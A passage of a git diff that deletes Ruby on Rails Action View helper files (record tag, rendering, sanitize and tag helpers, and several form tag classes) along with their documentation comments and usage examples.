- sep = ERB::Util.html_escape(sep)
-
- array.map { |i| ERB::Util.html_escape(i) }.join(sep).html_safe
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/record_tag_helper.rb b/actionpack/lib/action_view/helpers/record_tag_helper.rb
deleted file mode 100644
index 33194250b7..0000000000
--- a/actionpack/lib/action_view/helpers/record_tag_helper.rb
+++ /dev/null
@@ -1,102 +0,0 @@
-module ActionView
- # = Action View Record Tag Helpers
- module Helpers
- module RecordTagHelper
- include ActionView::RecordIdentifier
-
- # Produces a wrapper DIV element with id and class parameters that
- # relate to the specified Active Record object. Usage example:
- #
- # <%= div_for(@person, class: "foo") do %>
- # <%= @person.name %>
- # <% end %>
- #
- # produces:
- #
- # <div id="person_123" class="person foo"> Joe Bloggs </div>
- #
- # You can also pass an array of Active Record objects, which will then
- # get iterated over and yield each record as an argument for the block.
- # For example:
- #
- # <%= div_for(@people, class: "foo") do |person| %>
- # <%= person.name %>
- # <% end %>
- #
- # produces:
- #
- # <div id="person_123" class="person foo"> Joe Bloggs </div>
- # <div id="person_124" class="person foo"> Jane Bloggs </div>
- #
- def div_for(record, *args, &block)
- content_tag_for(:div, record, *args, &block)
- end
-
- # content_tag_for creates an HTML element with id and class parameters
- # that relate to the specified Active Record object. For example:
- #
- # <%= content_tag_for(:tr, @person) do %>
- # <td><%= @person.first_name %></td>
- # <td><%= @person.last_name %></td>
- # <% end %>
- #
- # would produce the following HTML (assuming @person is an instance of
- # a Person object, with an id value of 123):
- #
- # <tr id="person_123" class="person">....</tr>
- #
- # If you require the HTML id attribute to have a prefix, you can specify it:
- #
- # <%= content_tag_for(:tr, @person, :foo) do %> ...
- #
- # produces:
- #
- # <tr id="foo_person_123" class="person">...
- #
- # You can also pass an array of objects which this method will loop through
- # and yield the current object to the supplied block, reducing the need for
- # having to iterate through the object (using <tt>each</tt>) beforehand.
- # For example (assuming @people is an array of Person objects):
- #
- # <%= content_tag_for(:tr, @people) do |person| %>
- # <td><%= person.first_name %></td>
- # <td><%= person.last_name %></td>
- # <% end %>
- #
- # produces:
- #
- # <tr id="person_123" class="person">...</tr>
- # <tr id="person_124" class="person">...</tr>
- #
- # content_tag_for also accepts a hash of options, which will be converted to
- # additional HTML attributes. If you specify a <tt>:class</tt> value, it will be combined
- # with the default class name for your object. For example:
- #
- # <%= content_tag_for(:li, @person, class: "bar") %>...
- #
- # produces:
- #
- # <li id="person_123" class="person bar">...
- #
- def content_tag_for(tag_name, single_or_multiple_records, prefix = nil, options = nil, &block)
- options, prefix = prefix, nil if prefix.is_a?(Hash)
-
- Array(single_or_multiple_records).map do |single_record|
- content_tag_for_single_record(tag_name, single_record, prefix, options, &block)
- end.join("\n").html_safe
- end
-
- private
-
- # Called by <tt>content_tag_for</tt> internally to render a content tag
- # for each record.
- def content_tag_for_single_record(tag_name, record, prefix, options, &block)
- options = options ? options.dup : {}
- options[:class] = "#{dom_class(record, prefix)} #{options[:class]}".rstrip
- options[:id] = dom_id(record, prefix)
-
- content_tag(tag_name, capture(record, &block), options)
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/rendering_helper.rb b/actionpack/lib/action_view/helpers/rendering_helper.rb
deleted file mode 100644
index 458086de96..0000000000
--- a/actionpack/lib/action_view/helpers/rendering_helper.rb
+++ /dev/null
@@ -1,90 +0,0 @@
-module ActionView
- module Helpers
- # = Action View Rendering
- #
- # Implements methods that allow rendering from a view context.
- # In order to use this module, all you need is to implement
- # view_renderer that returns an ActionView::Renderer object.
- module RenderingHelper
- # Returns the result of a render that's dictated by the options hash. The primary options are:
- #
- # * <tt>:partial</tt> - See <tt>ActionView::PartialRenderer</tt>.
- # * <tt>:file</tt> - Renders an explicit template file (this used to be the old default), add :locals to pass in those.
- # * <tt>:inline</tt> - Renders an inline template similar to how it's done in the controller.
- # * <tt>:text</tt> - Renders the text passed in out.
- #
- # If no options hash is passed or :update specified, the default is to render a partial and use the second parameter
- # as the locals hash.
- def render(options = {}, locals = {}, &block)
- case options
- when Hash
- if block_given?
- view_renderer.render_partial(self, options.merge(:partial => options[:layout]), &block)
- else
- view_renderer.render(self, options)
- end
- else
- view_renderer.render_partial(self, :partial => options, :locals => locals)
- end
- end
-
- # Overwrites _layout_for in the context object so it supports the case a block is
- # passed to a partial. Returns the contents that are yielded to a layout, given a
- # name or a block.
- #
- # You can think of a layout as a method that is called with a block. If the user calls
- # <tt>yield :some_name</tt>, the block, by default, returns <tt>content_for(:some_name)</tt>.
- # If the user calls simply +yield+, the default block returns <tt>content_for(:layout)</tt>.
- #
- # The user can override this default by passing a block to the layout:
- #
- # # The template
- # <%= render layout: "my_layout" do %>
- # Content
- # <% end %>
- #
- # # The layout
- # <html>
- # <%= yield %>
- # </html>
- #
- # In this case, instead of the default block, which would return <tt>content_for(:layout)</tt>,
- # this method returns the block that was passed in to <tt>render :layout</tt>, and the response
- # would be
- #
- # <html>
- # Content
- # </html>
- #
- # Finally, the block can take block arguments, which can be passed in by +yield+:
- #
- # # The template
- # <%= render layout: "my_layout" do |customer| %>
- # Hello <%= customer.name %>
- # <% end %>
- #
- # # The layout
- # <html>
- # <%= yield Struct.new(:name).new("David") %>
- # </html>
- #
- # In this case, the layout would receive the block passed into <tt>render :layout</tt>,
- # and the struct specified would be passed into the block as an argument. The result
- # would be
- #
- # <html>
- # Hello David
- # </html>
- #
- def _layout_for(*args, &block)
- name = args.first
-
- if block && !name.is_a?(Symbol)
- capture(*args, &block)
- else
- super
- end
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/sanitize_helper.rb b/actionpack/lib/action_view/helpers/sanitize_helper.rb
deleted file mode 100644
index e5cb843670..0000000000
--- a/actionpack/lib/action_view/helpers/sanitize_helper.rb
+++ /dev/null
@@ -1,256 +0,0 @@
-require 'active_support/core_ext/object/try'
-require 'action_view/vendor/html-scanner'
-
-module ActionView
- # = Action View Sanitize Helpers
- module Helpers
- # The SanitizeHelper module provides a set of methods for scrubbing text of undesired HTML elements.
- # These helper methods extend Action View making them callable within your template files.
- module SanitizeHelper
- extend ActiveSupport::Concern
- # This +sanitize+ helper will html encode all tags and strip all attributes that
- # aren't specifically allowed.
- #
- # It also strips href/src tags with invalid protocols, like javascript: especially.
- # It does its best to counter any tricks that hackers may use, like throwing in
- # unicode/ascii/hex values to get past the javascript: filters. Check out
- # the extensive test suite.
- #
- # <%= sanitize @article.body %>
- #
- # You can add or remove tags/attributes if you want to customize it a bit.
- # See ActionView::Base for full docs on the available options. You can add
- # tags/attributes for single uses of +sanitize+ by passing either the
- # <tt>:attributes</tt> or <tt>:tags</tt> options:
- #
- # Normal Use
- #
- # <%= sanitize @article.body %>
- #
- # Custom Use (only the mentioned tags and attributes are allowed, nothing else)
- #
- # <%= sanitize @article.body, tags: %w(table tr td), attributes: %w(id class style) %>
- #
- # Add table tags to the default allowed tags
- #
- # class Application < Rails::Application
- # config.action_view.sanitized_allowed_tags = 'table', 'tr', 'td'
- # end
- #
- # Remove tags to the default allowed tags
- #
- # class Application < Rails::Application
- # config.after_initialize do
- # ActionView::Base.sanitized_allowed_tags.delete 'div'
- # end
- # end
- #
- # Change allowed default attributes
- #
- # class Application < Rails::Application
- # config.action_view.sanitized_allowed_attributes = 'id', 'class', 'style'
- # end
- #
- # Please note that sanitizing user-provided text does not guarantee that the
- # resulting markup is valid (conforming to a document type) or even well-formed.
- # The output may still contain e.g. unescaped '<', '>', '&' characters and
- # confuse browsers.
- #
- def sanitize(html, options = {})
- self.class.white_list_sanitizer.sanitize(html, options).try(:html_safe)
- end
-
- # Sanitizes a block of CSS code. Used by +sanitize+ when it comes across a style attribute.
- def sanitize_css(style)
- self.class.white_list_sanitizer.sanitize_css(style)
- end
-
- # Strips all HTML tags from the +html+, including comments. This uses the
- # html-scanner tokenizer and so its HTML parsing ability is limited by
- # that of html-scanner.
- #
- # strip_tags("Strip <i>these</i> tags!")
- # # => Strip these tags!
- #
- # strip_tags("<b>Bold</b> no more! <a href='more.html'>See more here</a>...")
- # # => Bold no more! See more here...
- #
- # strip_tags("<div id='top-bar'>Welcome to my website!</div>")
- # # => Welcome to my website!
- def strip_tags(html)
- self.class.full_sanitizer.sanitize(html)
- end
-
- # Strips all link tags from +text+ leaving just the link text.
- #
- # strip_links('<a href="http://www.rubyonrails.org">Ruby on Rails</a>')
- # # => Ruby on Rails
- #
- # strip_links('Please e-mail me at <a href="mailto:me@email.com">me@email.com</a>.')
- # # => Please e-mail me at me@email.com.
- #
- # strip_links('Blog: <a href="http://www.myblog.com/" class="nav" target=\"_blank\">Visit</a>.')
- # # => Blog: Visit.
- def strip_links(html)
- self.class.link_sanitizer.sanitize(html)
- end
-
- module ClassMethods #:nodoc:
- attr_writer :full_sanitizer, :link_sanitizer, :white_list_sanitizer
-
- def sanitized_protocol_separator
- white_list_sanitizer.protocol_separator
- end
-
- def sanitized_uri_attributes
- white_list_sanitizer.uri_attributes
- end
-
- def sanitized_bad_tags
- white_list_sanitizer.bad_tags
- end
-
- def sanitized_allowed_tags
- white_list_sanitizer.allowed_tags
- end
-
- def sanitized_allowed_attributes
- white_list_sanitizer.allowed_attributes
- end
-
- def sanitized_allowed_css_properties
- white_list_sanitizer.allowed_css_properties
- end
-
- def sanitized_allowed_css_keywords
- white_list_sanitizer.allowed_css_keywords
- end
-
- def sanitized_shorthand_css_properties
- white_list_sanitizer.shorthand_css_properties
- end
-
- def sanitized_allowed_protocols
- white_list_sanitizer.allowed_protocols
- end
-
- def sanitized_protocol_separator=(value)
- white_list_sanitizer.protocol_separator = value
- end
-
- # Gets the HTML::FullSanitizer instance used by +strip_tags+. Replace with
- # any object that responds to +sanitize+.
- #
- # class Application < Rails::Application
- # config.action_view.full_sanitizer = MySpecialSanitizer.new
- # end
- #
- def full_sanitizer
- @full_sanitizer ||= HTML::FullSanitizer.new
- end
-
- # Gets the HTML::LinkSanitizer instance used by +strip_links+. Replace with
- # any object that responds to +sanitize+.
- #
- # class Application < Rails::Application
- # config.action_view.link_sanitizer = MySpecialSanitizer.new
- # end
- #
- def link_sanitizer
- @link_sanitizer ||= HTML::LinkSanitizer.new
- end
-
- # Gets the HTML::WhiteListSanitizer instance used by sanitize and +sanitize_css+.
- # Replace with any object that responds to +sanitize+.
- #
- # class Application < Rails::Application
- # config.action_view.white_list_sanitizer = MySpecialSanitizer.new
- # end
- #
- def white_list_sanitizer
- @white_list_sanitizer ||= HTML::WhiteListSanitizer.new
- end
-
- # Adds valid HTML attributes that the +sanitize+ helper checks for URIs.
- #
- # class Application < Rails::Application
- # config.action_view.sanitized_uri_attributes = 'lowsrc', 'target'
- # end
- #
- def sanitized_uri_attributes=(attributes)
- HTML::WhiteListSanitizer.uri_attributes.merge(attributes)
- end
-
- # Adds to the Set of 'bad' tags for the +sanitize+ helper.
- #
- # class Application < Rails::Application
- # config.action_view.sanitized_bad_tags = 'embed', 'object'
- # end
- #
- def sanitized_bad_tags=(attributes)
- HTML::WhiteListSanitizer.bad_tags.merge(attributes)
- end
-
- # Adds to the Set of allowed tags for the +sanitize+ helper.
- #
- # class Application < Rails::Application
- # config.action_view.sanitized_allowed_tags = 'table', 'tr', 'td'
- # end
- #
- def sanitized_allowed_tags=(attributes)
- HTML::WhiteListSanitizer.allowed_tags.merge(attributes)
- end
-
- # Adds to the Set of allowed HTML attributes for the +sanitize+ helper.
- #
- # class Application < Rails::Application
- # config.action_view.sanitized_allowed_attributes = 'onclick', 'longdesc'
- # end
- #
- def sanitized_allowed_attributes=(attributes)
- HTML::WhiteListSanitizer.allowed_attributes.merge(attributes)
- end
-
- # Adds to the Set of allowed CSS properties for the #sanitize and +sanitize_css+ helpers.
- #
- # class Application < Rails::Application
- # config.action_view.sanitized_allowed_css_properties = 'expression'
- # end
- #
- def sanitized_allowed_css_properties=(attributes)
- HTML::WhiteListSanitizer.allowed_css_properties.merge(attributes)
- end
-
- # Adds to the Set of allowed CSS keywords for the +sanitize+ and +sanitize_css+ helpers.
- #
- # class Application < Rails::Application
- # config.action_view.sanitized_allowed_css_keywords = 'expression'
- # end
- #
- def sanitized_allowed_css_keywords=(attributes)
- HTML::WhiteListSanitizer.allowed_css_keywords.merge(attributes)
- end
-
- # Adds to the Set of allowed shorthand CSS properties for the +sanitize+ and +sanitize_css+ helpers.
- #
- # class Application < Rails::Application
- # config.action_view.sanitized_shorthand_css_properties = 'expression'
- # end
- #
- def sanitized_shorthand_css_properties=(attributes)
- HTML::WhiteListSanitizer.shorthand_css_properties.merge(attributes)
- end
-
- # Adds to the Set of allowed protocols for the +sanitize+ helper.
- #
- # class Application < Rails::Application
- # config.action_view.sanitized_allowed_protocols = 'ssh', 'feed'
- # end
- #
- def sanitized_allowed_protocols=(attributes)
- HTML::WhiteListSanitizer.allowed_protocols.merge(attributes)
- end
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/tag_helper.rb b/actionpack/lib/action_view/helpers/tag_helper.rb
deleted file mode 100644
index 8c7524e795..0000000000
--- a/actionpack/lib/action_view/helpers/tag_helper.rb
+++ /dev/null
@@ -1,173 +0,0 @@
-require 'active_support/core_ext/string/output_safety'
-require 'set'
-
-module ActionView
- # = Action View Tag Helpers
- module Helpers #:nodoc:
- # Provides methods to generate HTML tags programmatically when you can't use
- # a Builder. By default, they output XHTML compliant tags.
- module TagHelper
- extend ActiveSupport::Concern
- include CaptureHelper
-
- BOOLEAN_ATTRIBUTES = %w(disabled readonly multiple checked autobuffer
- autoplay controls loop selected hidden scoped async
- defer reversed ismap seemless muted required
- autofocus novalidate formnovalidate open pubdate itemscope).to_set
- BOOLEAN_ATTRIBUTES.merge(BOOLEAN_ATTRIBUTES.map {|attribute| attribute.to_sym })
-
- PRE_CONTENT_STRINGS = {
- :textarea => "\n"
- }
-
- # Returns an empty HTML tag of type +name+ which by default is XHTML
- # compliant. Set +open+ to true to create an open tag compatible
- # with HTML 4.0 and below. Add HTML attributes by passing an attributes
- # hash to +options+. Set +escape+ to false to disable attribute value
- # escaping.
- #
- # ==== Options
- # You can use symbols or strings for the attribute names.
- #
- # Use +true+ with boolean attributes that can render with no value, like
- # +disabled+ and +readonly+.
- #
- # HTML5 <tt>data-*</tt> attributes can be set with a single +data+ key
- # pointing to a hash of sub-attributes.
- #
- # To play nicely with JavaScript conventions sub-attributes are dasherized.
- # For example, a key +user_id+ would render as <tt>data-user-id</tt> and
- # thus accessed as <tt>dataset.userId</tt>.
- #
- # Values are encoded to JSON, with the exception of strings and symbols.
- # This may come in handy when using jQuery's HTML5-aware <tt>.data()</tt>
- # from 1.4.3.
- #
- # ==== Examples
- # tag("br")
- # # => <br />
- #
- # tag("br", nil, true)
- # # => <br>
- #
- # tag("input", type: 'text', disabled: true)
- # # => <input type="text" disabled="disabled" />
- #
- # tag("img", src: "open & shut.png")
- # # => <img src="open &amp; shut.png" />
- #
- # tag("img", {src: "open &amp; shut.png"}, false, false)
- # # => <img src="open &amp; shut.png" />
- #
- # tag("div", data: {name: 'Stephen', city_state: %w(Chicago IL)})
- # # => <div data-name="Stephen" data-city-state="[&quot;Chicago&quot;,&quot;IL&quot;]" />
- def tag(name, options = nil, open = false, escape = true)
- "<#{name}#{tag_options(options, escape) if options}#{open ? ">" : " />"}".html_safe
- end
-
- # Returns an HTML block tag of type +name+ surrounding the +content+. Add
- # HTML attributes by passing an attributes hash to +options+.
- # Instead of passing the content as an argument, you can also use a block
- # in which case, you pass your +options+ as the second parameter.
- # Set escape to false to disable attribute value escaping.
- #
- # ==== Options
- # The +options+ hash is used with attributes with no value like (<tt>disabled</tt> and
- # <tt>readonly</tt>), which you can give a value of true in the +options+ hash. You can use
- # symbols or strings for the attribute names.
- #
- # ==== Examples
- # content_tag(:p, "Hello world!")
- # # => <p>Hello world!</p>
- # content_tag(:div, content_tag(:p, "Hello world!"), class: "strong")
- # # => <div class="strong"><p>Hello world!</p></div>
- # content_tag("select", options, multiple: true)
- # # => <select multiple="multiple">...options...</select>
- #
- # <%= content_tag :div, class: "strong" do -%>
- # Hello world!
- # <% end -%>
- # # => <div class="strong">Hello world!</div>
- def content_tag(name, content_or_options_with_block = nil, options = nil, escape = true, &block)
- if block_given?
- options = content_or_options_with_block if content_or_options_with_block.is_a?(Hash)
- content_tag_string(name, capture(&block), options, escape)
- else
- content_tag_string(name, content_or_options_with_block, options, escape)
- end
- end
-
- # Returns a CDATA section with the given +content+. CDATA sections
- # are used to escape blocks of text containing characters which would
- # otherwise be recognized as markup. CDATA sections begin with the string
- # <tt><![CDATA[</tt> and end with (and may not contain) the string <tt>]]></tt>.
- #
- # cdata_section("<hello world>")
- # # => <![CDATA[<hello world>]]>
- #
- # cdata_section(File.read("hello_world.txt"))
- # # => <![CDATA[<hello from a text file]]>
- #
- # cdata_section("hello]]>world")
- # # => <![CDATA[hello]]]]><![CDATA[>world]]>
- def cdata_section(content)
- splitted = content.gsub(']]>', ']]]]><![CDATA[>')
- "<![CDATA[#{splitted}]]>".html_safe
- end
-
- # Returns an escaped version of +html+ without affecting existing escaped entities.
- #
- # escape_once("1 < 2 &amp; 3")
- # # => "1 &lt; 2 &amp; 3"
- #
- # escape_once("&lt;&lt; Accept & Checkout")
- # # => "&lt;&lt; Accept &amp; Checkout"
- def escape_once(html)
- ERB::Util.html_escape_once(html)
- end
-
- private
-
- def content_tag_string(name, content, options, escape = true)
- tag_options = tag_options(options, escape) if options
- content = ERB::Util.h(content) if escape
- "<#{name}#{tag_options}>#{PRE_CONTENT_STRINGS[name.to_sym]}#{content}</#{name}>".html_safe
- end
-
- def tag_options(options, escape = true)
- return if options.blank?
- attrs = []
- options.each_pair do |key, value|
- if key.to_s == 'data' && value.is_a?(Hash)
- value.each_pair do |k, v|
- attrs << data_tag_option(k, v, escape)
- end
- elsif BOOLEAN_ATTRIBUTES.include?(key)
- attrs << boolean_tag_option(key) if value
- elsif !value.nil?
- attrs << tag_option(key, value, escape)
- end
- end
- " #{attrs.sort * ' '}".html_safe unless attrs.empty?
- end
-
- def data_tag_option(key, value, escape)
- key = "data-#{key.to_s.dasherize}"
- unless value.is_a?(String) || value.is_a?(Symbol) || value.is_a?(BigDecimal)
- value = value.to_json
- end
- tag_option(key, value, escape)
- end
-
- def boolean_tag_option(key)
- %(#{key}="#{key}")
- end
-
- def tag_option(key, value, escape)
- value = value.join(" ") if value.is_a?(Array)
- value = ERB::Util.h(value) if escape
- %(#{key}="#{value}")
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/tags.rb b/actionpack/lib/action_view/helpers/tags.rb
deleted file mode 100644
index a05e16979a..0000000000
--- a/actionpack/lib/action_view/helpers/tags.rb
+++ /dev/null
@@ -1,39 +0,0 @@
-module ActionView
- module Helpers
- module Tags #:nodoc:
- extend ActiveSupport::Autoload
-
- autoload :Base
- autoload :CheckBox
- autoload :CollectionCheckBoxes
- autoload :CollectionRadioButtons
- autoload :CollectionSelect
- autoload :ColorField
- autoload :DateField
- autoload :DateSelect
- autoload :DatetimeField
- autoload :DatetimeLocalField
- autoload :DatetimeSelect
- autoload :EmailField
- autoload :FileField
- autoload :GroupedCollectionSelect
- autoload :HiddenField
- autoload :Label
- autoload :MonthField
- autoload :NumberField
- autoload :PasswordField
- autoload :RadioButton
- autoload :RangeField
- autoload :SearchField
- autoload :Select
- autoload :TelField
- autoload :TextArea
- autoload :TextField
- autoload :TimeField
- autoload :TimeSelect
- autoload :TimeZoneSelect
- autoload :UrlField
- autoload :WeekField
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/tags/base.rb b/actionpack/lib/action_view/helpers/tags/base.rb
deleted file mode 100644
index 3d597079c4..0000000000
--- a/actionpack/lib/action_view/helpers/tags/base.rb
+++ /dev/null
@@ -1,148 +0,0 @@
-module ActionView
- module Helpers
- module Tags
- class Base #:nodoc:
- include Helpers::ActiveModelInstanceTag, Helpers::TagHelper, Helpers::FormTagHelper
- include FormOptionsHelper
-
- attr_reader :object
-
- def initialize(object_name, method_name, template_object, options = {})
- @object_name, @method_name = object_name.to_s.dup, method_name.to_s.dup
- @template_object = template_object
-
- @object_name.sub!(/\[\]$/,"") || @object_name.sub!(/\[\]\]$/,"]")
- @object = retrieve_object(options.delete(:object))
- @options = options
- @auto_index = retrieve_autoindex(Regexp.last_match.pre_match) if Regexp.last_match
- end
-
- # This is what child classes implement.
- def render
- raise NotImplementedError, "Subclasses must implement a render method"
- end
-
- private
-
- def value(object)
- object.send @method_name if object
- end
-
- def value_before_type_cast(object)
- unless object.nil?
- method_before_type_cast = @method_name + "_before_type_cast"
-
- object.respond_to?(method_before_type_cast) ?
- object.send(method_before_type_cast) :
- value(object)
- end
- end
-
- def retrieve_object(object)
- if object
- object
- elsif @template_object.instance_variable_defined?("@#{@object_name}")
- @template_object.instance_variable_get("@#{@object_name}")
- end
- rescue NameError
- # As @object_name may contain the nested syntax (item[subobject]) we need to fallback to nil.
- nil
- end
-
- def retrieve_autoindex(pre_match)
- object = self.object || @template_object.instance_variable_get("@#{pre_match}")
- if object && object.respond_to?(:to_param)
- object.to_param
- else
- raise ArgumentError, "object[] naming but object param and @object var don't exist or don't respond to to_param: #{object.inspect}"
- end
- end
-
- def add_default_name_and_id_for_value(tag_value, options)
- if tag_value.nil?
- add_default_name_and_id(options)
- else
- specified_id = options["id"]
- add_default_name_and_id(options)
-
- if specified_id.blank? && options["id"].present?
- options["id"] += "_#{sanitized_value(tag_value)}"
- end
- end
- end
-
- def add_default_name_and_id(options)
- if options.has_key?("index")
- options["name"] ||= options.fetch("name"){ tag_name_with_index(options["index"]) }
- options["id"] = options.fetch("id"){ tag_id_with_index(options["index"]) }
- options.delete("index")
- elsif defined?(@auto_index)
- options["name"] ||= options.fetch("name"){ tag_name_with_index(@auto_index) }
- options["id"] = options.fetch("id"){ tag_id_with_index(@auto_index) }
- else
- options["name"] ||= options.fetch("name"){ tag_name }
- options["id"] = options.fetch("id"){ tag_id }
- end
-
- options["name"] += "[]" if options["multiple"]
- options["id"] = [options.delete('namespace'), options["id"]].compact.join("_").presence
- end
-
- def tag_name
- "#{@object_name}[#{sanitized_method_name}]"
- end
-
- def tag_name_with_index(index)
- "#{@object_name}[#{index}][#{sanitized_method_name}]"
- end
-
- def tag_id
- "#{sanitized_object_name}_#{sanitized_method_name}"
- end
-
- def tag_id_with_index(index)
- "#{sanitized_object_name}_#{index}_#{sanitized_method_name}"
- end
-
- def sanitized_object_name
- @sanitized_object_name ||= @object_name.gsub(/\]\[|[^-a-zA-Z0-9:.]/, "_").sub(/_$/, "")
- end
-
- def sanitized_method_name
- @sanitized_method_name ||= @method_name.sub(/\?$/,"")
- end
-
- def sanitized_value(value)
- value.to_s.gsub(/\s/, "_").gsub(/[^-\w]/, "").downcase
- end
-
- def select_content_tag(option_tags, options, html_options)
- html_options = html_options.stringify_keys
- add_default_name_and_id(html_options)
- options[:include_blank] ||= true unless options[:prompt] || select_not_required?(html_options)
- select = content_tag("select", add_options(option_tags, options, value(object)), html_options)
-
- if html_options["multiple"] && options.fetch(:include_hidden, true)
- tag("input", :disabled => html_options["disabled"], :name => html_options["name"], :type => "hidden", :value => "") + select
- else
- select
- end
- end
-
- def select_not_required?(html_options)
- !html_options["required"] || html_options["multiple"] || html_options["size"].to_i > 1
- end
-
- def add_options(option_tags, options, value = nil)
- if options[:include_blank]
- option_tags = content_tag_string('option', options[:include_blank].kind_of?(String) ? options[:include_blank] : nil, :value => '') + "\n" + option_tags
- end
- if value.blank? && options[:prompt]
- option_tags = content_tag_string('option', prompt_text(options[:prompt]), :value => '') + "\n" + option_tags
- end
- option_tags
- end
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/tags/check_box.rb b/actionpack/lib/action_view/helpers/tags/check_box.rb
deleted file mode 100644
index e21cc07746..0000000000
--- a/actionpack/lib/action_view/helpers/tags/check_box.rb
+++ /dev/null
@@ -1,64 +0,0 @@
-require 'action_view/helpers/tags/checkable'
-
-module ActionView
- module Helpers
- module Tags
- class CheckBox < Base #:nodoc:
- include Checkable
-
- def initialize(object_name, method_name, template_object, checked_value, unchecked_value, options)
- @checked_value = checked_value
- @unchecked_value = unchecked_value
- super(object_name, method_name, template_object, options)
- end
-
- def render
- options = @options.stringify_keys
- options["type"] = "checkbox"
- options["value"] = @checked_value
- options["checked"] = "checked" if input_checked?(object, options)
-
- if options["multiple"]
- add_default_name_and_id_for_value(@checked_value, options)
- options.delete("multiple")
- else
- add_default_name_and_id(options)
- end
-
- include_hidden = options.delete("include_hidden") { true }
- checkbox = tag("input", options)
-
- if include_hidden
- hidden = hidden_field_for_checkbox(options)
- hidden + checkbox
- else
- checkbox
- end
- end
-
- private
-
- def checked?(value)
- case value
- when TrueClass, FalseClass
- value == !!@checked_value
- when NilClass
- false
- when String
- value == @checked_value
- else
- if value.respond_to?(:include?)
- value.include?(@checked_value)
- else
- value.to_i == @checked_value.to_i
- end
- end
- end
-
- def hidden_field_for_checkbox(options)
- @unchecked_value ? tag("input", options.slice("name", "disabled", "form").merge!("type" => "hidden", "value" => @unchecked_value)) : "".html_safe
- end
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/tags/checkable.rb b/actionpack/lib/action_view/helpers/tags/checkable.rb
deleted file mode 100644
index b97c0c68d7..0000000000
--- a/actionpack/lib/action_view/helpers/tags/checkable.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-module ActionView
- module Helpers
- module Tags
- module Checkable
- def input_checked?(object, options)
- if options.has_key?("checked")
- checked = options.delete "checked"
- checked == true || checked == "checked"
- else
- checked?(value(object))
- end
- end
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/tags/collection_check_boxes.rb b/actionpack/lib/action_view/helpers/tags/collection_check_boxes.rb
deleted file mode 100644
index 45f0bc3d7b..0000000000
--- a/actionpack/lib/action_view/helpers/tags/collection_check_boxes.rb
+++ /dev/null
@@ -1,37 +0,0 @@
-require 'action_view/helpers/tags/collection_helpers'
-
-module ActionView
- module Helpers
- module Tags
- class CollectionCheckBoxes < Base
- include CollectionHelpers
-
- class CheckBoxBuilder < Builder
- def check_box(extra_html_options={})
- html_options = extra_html_options.merge(@input_html_options)
- @template_object.check_box(@object_name, @method_name, html_options, @value, nil)
- end
- end
-
- def render
- rendered_collection = render_collection do |item, value, text, default_html_options|
- default_html_options[:multiple] = true
- builder = instantiate_builder(CheckBoxBuilder, item, value, text, default_html_options)
-
- if block_given?
- yield builder
- else
- builder.check_box + builder.label
- end
- end
-
- # Append a hidden field to make sure something will be sent back to the
- # server if all check boxes are unchecked.
- hidden = @template_object.hidden_field_tag("#{tag_name}[]", "", :id => nil)
-
- rendered_collection + hidden
- end
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/tags/collection_helpers.rb b/actionpack/lib/action_view/helpers/tags/collection_helpers.rb
deleted file mode 100644
index 4e33e79a36..0000000000
--- a/actionpack/lib/action_view/helpers/tags/collection_helpers.rb
+++ /dev/null
@@ -1,82 +0,0 @@
-module ActionView
- module Helpers
- module Tags
- module CollectionHelpers
- class Builder
- attr_reader :object, :text, :value
-
- def initialize(template_object, object_name, method_name, object,
- sanitized_attribute_name, text, value, input_html_options)
- @template_object = template_object
- @object_name = object_name
- @method_name = method_name
- @object = object
- @sanitized_attribute_name = sanitized_attribute_name
- @text = text
- @value = value
- @input_html_options = input_html_options
- end
-
- def label(label_html_options={}, &block)
- @template_object.label(@object_name, @sanitized_attribute_name, @text, label_html_options, &block)
- end
- end
-
- def initialize(object_name, method_name, template_object, collection, value_method, text_method, options, html_options)
- @collection = collection
- @value_method = value_method
- @text_method = text_method
- @html_options = html_options
-
- super(object_name, method_name, template_object, options)
- end
-
- private
-
- def instantiate_builder(builder_class, item, value, text, html_options)
- builder_class.new(@template_object, @object_name, @method_name, item,
- sanitize_attribute_name(value), text, value, html_options)
- end
-
- # Generate default options for collection helpers, such as :checked and
- # :disabled.
- def default_html_options_for_collection(item, value) #:nodoc:
- html_options = @html_options.dup
-
- [:checked, :selected, :disabled].each do |option|
- next unless current_value = @options[option]
-
- accept = if current_value.respond_to?(:call)
- current_value.call(item)
- else
- Array(current_value).map(&:to_s).include?(value.to_s)
- end
-
- if accept
- html_options[option] = true
- elsif option == :checked
- html_options[option] = false
- end
- end
-
- html_options[:object] = @object
- html_options
- end
-
- def sanitize_attribute_name(value) #:nodoc:
- "#{sanitized_method_name}_#{sanitized_value(value)}"
- end
-
- def render_collection #:nodoc:
- @collection.map do |item|
- value = value_for_collection(item, @value_method)
- text = value_for_collection(item, @text_method)
- default_html_options = default_html_options_for_collection(item, value)
-
- yield item, value, text, default_html_options
- end.join.html_safe
- end
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/tags/collection_radio_buttons.rb b/actionpack/lib/action_view/helpers/tags/collection_radio_buttons.rb
deleted file mode 100644
index ba2035f074..0000000000
--- a/actionpack/lib/action_view/helpers/tags/collection_radio_buttons.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-require 'action_view/helpers/tags/collection_helpers'
-
-module ActionView
- module Helpers
- module Tags
- class CollectionRadioButtons < Base
- include CollectionHelpers
-
- class RadioButtonBuilder < Builder
- def radio_button(extra_html_options={})
- html_options = extra_html_options.merge(@input_html_options)
- @template_object.radio_button(@object_name, @method_name, @value, html_options)
- end
- end
-
- def render
- render_collection do |item, value, text, default_html_options|
- builder = instantiate_builder(RadioButtonBuilder, item, value, text, default_html_options)
-
- if block_given?
- yield builder
- else
- builder.radio_button + builder.label
- end
- end
- end
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/tags/collection_select.rb b/actionpack/lib/action_view/helpers/tags/collection_select.rb
deleted file mode 100644
index ec78e6e5f9..0000000000
--- a/actionpack/lib/action_view/helpers/tags/collection_select.rb
